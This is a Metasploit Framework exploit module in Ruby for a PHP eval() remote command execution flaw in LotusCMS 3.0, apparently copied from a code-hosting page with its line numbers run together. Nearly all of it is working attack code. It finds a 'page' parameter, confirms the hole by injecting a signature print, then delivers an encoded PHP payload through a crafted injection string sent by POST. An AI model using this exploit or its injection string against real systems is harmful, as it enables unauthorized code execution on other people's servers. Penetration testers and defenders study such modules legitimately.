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| 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 | ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Auxiliary::WmapScanUniqueQuery def initialize(info = {}) super(update_info(info, 'Name' => 'LotusCMS 3.0 eval() Remote Command Execution', 'Description'=> %q{ This module exploits a vulnerability found in Lotus CMS 3.0's Router() function.This is done by embedding PHP code in the 'page' parameter, which will be passed to a eval call, therefore allowing remote code execution. The module can either automatically pick up a 'page' parameter from the default page, or manually specify one in the URI option.To use the automatic method, please supply the URI with just a directory path, for example: "/lcms/". To manually configure one, you may do: "/lcms/somepath/index.php?page=index" }, 'License'=> MSF_LICENSE, 'Author' => [ 'Alligator Security Team', 'dflah_ <dflah_[at]alligatorteam.org>', 'sherl0ck_ <sherl0ck_[at]alligatorteam.org>', 'sinn3r'#Metasploit-fu ], 'References' => [ [ 'OSVDB', '75095' ], [ 'URL', 'http://secunia.com/secunia_research/2011-21/' ] ], 'Payload'=> { 'Space' => 4000, # only to prevent error HTTP 414 (Request-URI Too Long) 'DisableNops' => true, 'BadChars'=> "#", 'Keys'=> ['php'] }, 'Platform'=> [ 'php' ], 'Arch'=> ARCH_PHP, 'Targets' => [[ 'Automatic LotusCMS 3.0', { }]], 'Privileged'=> false, 'DisclosureDate'=> 'Mar 3 2011', 'DefaultTarget' => 0)) register_options( [ OptString.new('URI', [true, 'URI', '/lcms/']), Opt::RPORT(80), ], self.class) end def target_url uri = datastore['URI'] # Make sure uri begins with '/' if uri[0] != '/' uri = '/' + uri end # Extract two things: # 1. The file path (/index.php), including the base # 2. GET parameters from the GET query uri = uri.scan(/^(\/.+)\/(\w+\.php)*\?*(\w+=.+&*)*$/).flatten base= (uri[0] || "") + '/' fname = uri[1] || "" query = uri[2] || "" params = queryparse(query) rescue "" # Use the user-supplied query if there's one, if not we'll auto-detect # by regexing a hyper-link if base.empty? or fname.empty? or params.empty? res = send_request_cgi({ 'method' => 'GET', 'uri'=> datastore['URI'] }, 20) if res and res.code == 200 uri = res.body.scan(/<a.*href=['|"](\/*index\.php)\?.*(page=\w+)['|"].*>/).flatten @uri = base + uri[0] @arg = uri[1] print_status("Using found page param: #{@uri}?#{@arg}") else @uri = "" @arg = "" end else @uri = base + fname @arg = "page=#{params['page']}" end end def check target_url if @uri.empty? or @arg.empty? print_error("Unable to get the page parameter, please reconfigure URI") return end signature = rand_text_alpha(rand(10)+10) stub = "${print('#{signature}')};" sploit = "');#{stub}#" response = send_request_cgi( { 'method'=> 'POST', 'uri' =>@uri, 'data' => @arg + Rex::Text.uri_encode(sploit) }, 20) if response and response.body =~ /#{signature}/ print_status("Signature: #{signature}") return Exploit::CheckCode::Vulnerable else print_error("Signature was not detected") return Exploit::CheckCode::Safe end end def exploit return if not check == Exploit::CheckCode::Vulnerable begin sploit = "');#{payload.encoded}#" print_status("Sending exploit ...") res = send_request_cgi( { 'method'=> 'POST', 'uri' =>@uri, 'data' => @arg + Rex::Text.uri_encode(sploit) }, 20) handler rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout rescue ::Timeout::Error, ::Errno::EPIPE end end end |
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